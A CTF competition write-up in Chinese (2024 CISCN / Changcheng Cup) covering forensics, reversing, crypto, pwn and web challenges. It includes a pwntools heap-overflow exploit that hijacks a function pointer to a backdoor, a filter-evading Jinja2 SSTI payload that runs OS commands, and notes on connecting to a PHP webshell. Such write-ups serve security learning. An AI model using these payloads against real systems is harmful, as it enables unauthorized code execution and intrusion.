2024Ciscn-长城杯Wp

威胁检测与网络流量分析

zeroshell_1

在流量的Referer里,CTF-NETA能秒

zeroshell_2

用流量中的payload去打,flag在/Database里边

zeroshell_3

从流量包里看的
ip.src=61…..100

连接的IP只有三个,128有登陆请求,所以还剩两个 都试试也能出,但是202的时间很规律,所以提交的202

zeroshell_4

shell一直弹不出来,不知道为什么 | & 都识别不了,编码也不行

执行netstat -anp 不断刷新能看到有202.115.89.103的连接,根据进程查到

Ls -al /proc/id/exe 能看到 连接到/tmp/.nginx

zeroshell_5

使用xxd -p以16进制形式导出 然后存为elf文件用ida打开

shift+f12定位字符串,查找发现一个比较像key的11223344qweasdzxc,包上flag提交正确。

zeroshell_6

用qemu-img转一下,用DiskGeniux挂上,再把文件导出来

用Sublime.txt搜一下

flag{/var/register/system/startup/scripts/nat/File}

Win_FT1

打开之后用虚拟机自带的

flag{miscsecure.com:192.168.116.130:443}

Win_FT2

也是自带PCHunter,在启动项那里看计划任务

最下面有flag,在base解码出来

WinFT_5

用ctf-neta能跑出来两个zip,但是格式不对,去wireshark流量看导出http对象,全部导出来,一个是不完整的PK头,另一个也有PK,拼接打开,注释解码就是密码

sc05_1

看tcp

这个就是,空格转_再转md5再大写

re

ezCsky

根据提示mips,idamips架构打开

发现标准的rc4加密和异或操作,写脚本逆出来就是flag。

1
2
3
4
5
from Crypto.Cipher import ARC4

_# 定义密钥和密文(密文以十六进制形式表示)_ key = b"testkey" ciphertext_hex = [ 0x96, 0x8F, 0xB8, 0x08, 0x5D, 0xA7, 0x68, 0x44, 0xF2, 0x64, 0x92, 0x64, 0x42, 0x7A, 0x78, 0xE6, 0xEA, 0xC2, 0x78, 0xB8, 0x63, 0x9E, 0x5B, 0x3D, 0xD9, 0x28, 0x3F, 0xC8, 0x73, 0x06, 0xEE, 0x6B, 0x8D, 0x0C, 0x4B, 0xA3, 0x23, 0xAE, 0xCA, 0x40, 0xED, 0xD1 ] _# 使用给定密钥初始化RC4解密器_ cipher = ARC4.new(key) _# 解密密文_ plaintext = cipher.decrypt(bytes(ciphertext_hex)) plaintext=bytearray(plaintext) for i in range(len(plaintext)-1,0,-1): plaintext[i-1]^=plaintext[i] _# 打印解密后的明文_ print(plaintext)

![](https://uik4u42yzi.feishu.cn/space/api/box/stream/download/asynccode/?code=NDY3ZGI2MDZhOWJiYzQxNTdiNTQxZmVmMDY2ZDkxYzVfV1NHbU5jT2pqRWhudGNBMmZIVTRzQjBsdkVuaWRBOW9fVG9rZW46UjFjUmJRQWdEbzVlWm14eVcwNGN3NGtFblJmXzE3MzU1NzM5NTY6MTczNTU3NzU1Nl9WNA)

Dump

纸老虎,打开发现加密逻辑特别复杂,但是动调时候发现是单个字符替换,所以直接试出来所有的map组合之后读取flag文件进行替换即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
mapp = {

0x1c: '1', 0x1d: '2', 0x01: '=', 0x02: 'A', 0x03: 'B', 0x04: 'C',

0x05: 'D', 0x06: 'E', 0x07: 'F', 0x08: 'G', 0x09: 'H', 0x0a: 'I',

0x0b: 'J', 0x0c: 'K', 0x0d: 'L', 0x0e: 'M', 0x0f: 'N', 0x10: 'O',

0x11: 'P', 0x12: 'Q', 0x13: 'R', 0x14: 'S', 0x15: 'T', 0x16: 'U',

0x17: 'V', 0x18: 'W', 0x19: 'X', 0x1a: 'Y', 0x1b: 'Z', 0x1e: 'a',

0x1f: 'b', 0x20: 'c', 0x21: 'd', 0x22: 'e', 0x23: 'f', 0x24: 'g',

0x25: 'h', 0x26: 'i', 0x27: 'j', 0x28: 'k', 0x29: 'l', 0x2a: 'm',

0x2b: 'n', 0x2c: 'o', 0x2d: 'p', 0x2e: 'q', 0x2f: 'r', 0x30: 's',

0x31: 't', 0x32: 'u', 0x33: 'v', 0x34: 'w', 0x35: 'x', 0x36: 'y',

0x37: 'z', 0x38: '{', 0x39: '}'

}



flag = ""

with open("./flag", "rb") as fp:

data = fp.read()

for byte in data:

if byte == 0:

flag += "4"

else:

flag += mapp.get(byte, '?') # 若没有对应字符,输出‘?’

print(flag)

#flag{MTczMDc4MzQ2Ng==}

pwn

anote

pwn签到题,存在后门函数,edit里存在溢出写漏洞,且edit完会调用fd上的指针函数(本来存的是puts函数),因此可以通过溢出修改掉该指针函数,不过注意这里是间接调用。所以修改1的fd指向chunk0_data,修改chunk0_data为后门函数即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *

from ctypes import *

from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

def s(a):

p.send(a)

def sa(a, b):

p.sendafter(a, b)

def sl(a):

p.sendline(a)

def sla(a, b):

p.sendlineafter(a, b)

def r(a):

return p.recv(a)

def ru(a):

return p.recvuntil(a)

def debug():

gdb.attach(p)

pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb(libc_base):

return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))



#p = remote('39.105.123.22',26759)

p = process('./pwn')

elf = ELF('./pwn')



def add():

p.sendlineafter('Choice>>',str(1))

def show(idx):

p.sendlineafter('Choice>>',str(2))

p.sendlineafter("index: ",str(idx))



def edit(idx,size,data):

p.sendlineafter('Choice>>',str(3))

p.sendlineafter("index: ",str(idx))

p.sendlineafter("len: ",str(size))

p.sendlineafter("content: ",data)



add()

show(0)

ru('gift: 0x')

heap_base = int(p.recv(7),16)

success("heap_base: " + hex(heap_base))

add()

backdoor = 0x80489CE

edit(0,0x1c,p32(backdoor) * 4 + p32(0) + p32(0x21) + p32(heap_base + 8))

edit(1,4,b'a' * 4)

p.interactive()

密码

rasnd

两端flag。

第一段flag,x1和x2范围很小,可以直接爆破,通过爆破x1和x2,用i和j替代,可以得出q_ = (hint1 + 0x114) * i - (hint2 + 0x514) * j,其中q_ = k * q,和n取gcd即可求得q,之后常规rsa。

第二段flag,

由费马小定理推导可得,

(514×p_−114×_q)n_−1≡1mod_n

(514×p_−114×_q)n_−_p_−_q_≡(514×_p_−114×_q)−1mod_n_

514×p_−114×_q=inverse(hint,n)

所以,联合514×p_−114×_q=inverse(hint,n)和p * q = n用sympy求解方程即可。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from Crypto.Util.number import *

import gmpy2

from sympy import *

n = 23648865866967474741270370397132423067699850427877137954637744104915275862580729305752649659558903208704210520404455263487922574349344027608455219594970370136631537542988690942079596027410950309104210502316881241869253489791957580833197505343865871369332227319727036871601879356647931354999801556527525622386714474862274478072900776772849916088407385085172793529891976940198603667276046943913747882879444205337013047716443965133641695789732469801138839086918597765389860490103516114749193605536932674219305575208345984041924802827995594848795451094637394349237489219593447305188127031731811579960869233342752536100527

c = 12871293048733428405921993001474578995576966407212209002496627586541981587684719987156443294124310716965280212719390338695202157815376863019064093567216994679080289411869769698877420309738539393058199884618426735251695293632309349130302017107525370437009808089940546467740239387244603064354072024228584137505815198672524214329434003062957282331772544865942114036138240427590282222587632491953027413817537467476211495107817229494683254318465555361112148153968926339393351690557655234472182328031652147228622097814985937486244681684439084740792730260943438322469368997572013403493837626811395296875828720042085253741244

hint1 = 2703642595294748564643622671649399553349260234587100086533241345261637498325534113322955496677225272148642070369301838312297245973046433308957535756264825008875364114414462464128235947776518582564921697809360918803644869806695489185714944767429577379660277801285524808124565008668088032699224448150409658247394175183890031779925039061797406792

hint2 = 2169410035515532906876819913960514081818308685030029528953082846373483240480780518798810730623580967118171766601339077609903728723280859124374334171316025172163690787871809134051967615896421514542191920476370854639765281638331517908871407380213580237559660767770824604364909376856664112138905994069463543058446850133401352199000299080386495040556940824325347535607774724849323181852372710392377956213046858908265330857740740847558701275465534872986005202129327090

e = 0x10001

flag1 = ''

def fun1():

for i in range(1,2 ** 11):

for j in range(1,2 ** 11):

q_ = (hint1 + 0x114) * i - (hint2 + 0x514) * j

if gmpy2.gcd(q_, n) != 1:

q = gmpy2.gcd(q_, n)

p = n // q

phi = (p - 1) * (q - 1)

d = gmpy2.invert(e, (phi))

global flag1

flag1 = long_to_bytes(pow(c, d, n))

return

fun1()

print(flag1)

n2 = 22902312247655401296387615153281693620508461675505550317014209779502324214659038625188644637684716596785654730362837135937428752578933369019876636781124643639177120407643147914932174261971465557310189161493208155563664026848239936362156630547829709710807347851602425752221503380034034698661113182854841894544095158900943963238561984113656414774368904280961218734260452412174079292884439126146014019436972752206205693555122285611179454949492032296806502438320826316045303787587136393481831244686573244792681592851889782650510393778231713816763010638656123304973975140552936712841614459233740391987488047517403600664177

c2 = 10925650797594460612059722201596610933207264502326819848042775320957258158018275605482510808372512594051200222145936489078816364135810892640917713113068503152152242704988045516265090312225293558139219203431287178987229023062505356034246693655652192200324933320428405891200794854131034462963388024373314403868375571984277004371368582051660493956317530739125058003324429907207332861597713305361198480099466903431836693515104766242032956465615652468253631405615750342178243913852667249495988156267323915974111754007207991602051250521499638553489086363424935888718304716566925038325795617459612928478694750644540123489040

hint3 = 3855651325057194887972748506776457858934175512007314643076624103686879599280541006266987104821156151361711778969477814937770854325818184386384209471137555059136561996198802530628880456082386621118628839560185794434935871085733536602515294932732781224397538222047978348801727498256181418404928760447528350392887109183676665897758431671715736181046318754153743290687151730056417997835932648291568374055937072777280311412489299276441100000409306149688383961487334426823908899881912689052275547072583202669593768624681608263488675488219230004581882489398517548459754749590298003983834065191538258319844568477191703747977

inverse_ = gmpy2.invert(hint3,n2)

p2, q2 = symbols('p q')

equation_1 = Eq(514 * p2 - 114 * q2, inverse_)

equation_2 = Eq(p2 * q2, n2)

solution = solve([equation_1, equation_2], [q2, p2])

prime_p1 = int(abs(solution[1][0]))

prime_q2 = int(abs(solution[1][1]))

d2 = inverse(65537, (prime_p1 - 1) * (prime_q2 - 1))

flag2 = long_to_bytes(pow(c2, d2, n2))

print(flag1 + flag2)

Web

Safe_Proxy

这题直接把源码dump下来看看

主要需要进行post传参数可以考虑的是python内存🐎但是这里没有尝试出来,这些过滤的字符可以用16进制绕过

只尝试到这里后面想到用文件覆盖看看覆盖app.py

1
%7B%25set%20globals='_'+'_'+'globals'+'_'+'_'%25%7D%7B%25set%20builtins='_'*2+'builtins'+'_'*2%25%7D%7B%25set%20impor='_'*2+'i''mport'+'_'*2%25%7D%7B%25set%20command='o'+'s'%25%7D%7B%7Bcycler.next%5Bglobals%5D%5Bbuiltins%5D%5Bimpor%5D(command)%5B's''ystem'%5D('cat%20/flag%20%3E%20app.py')%7D%7D%0A
再次访问首页

hello_web

访问直接跳转到

file

这里请求头是有提示的是html加密的include.php文件。所以尝试文件包含,源码理由hackme.php tips.php

Tips是一个phpinfo页面

解密一下混淆代码

发现是一个一句话木马所以进行连接

因为有_所以用[绕过

使用php7_UserFilter插件绕过
然后find / -name flag 即可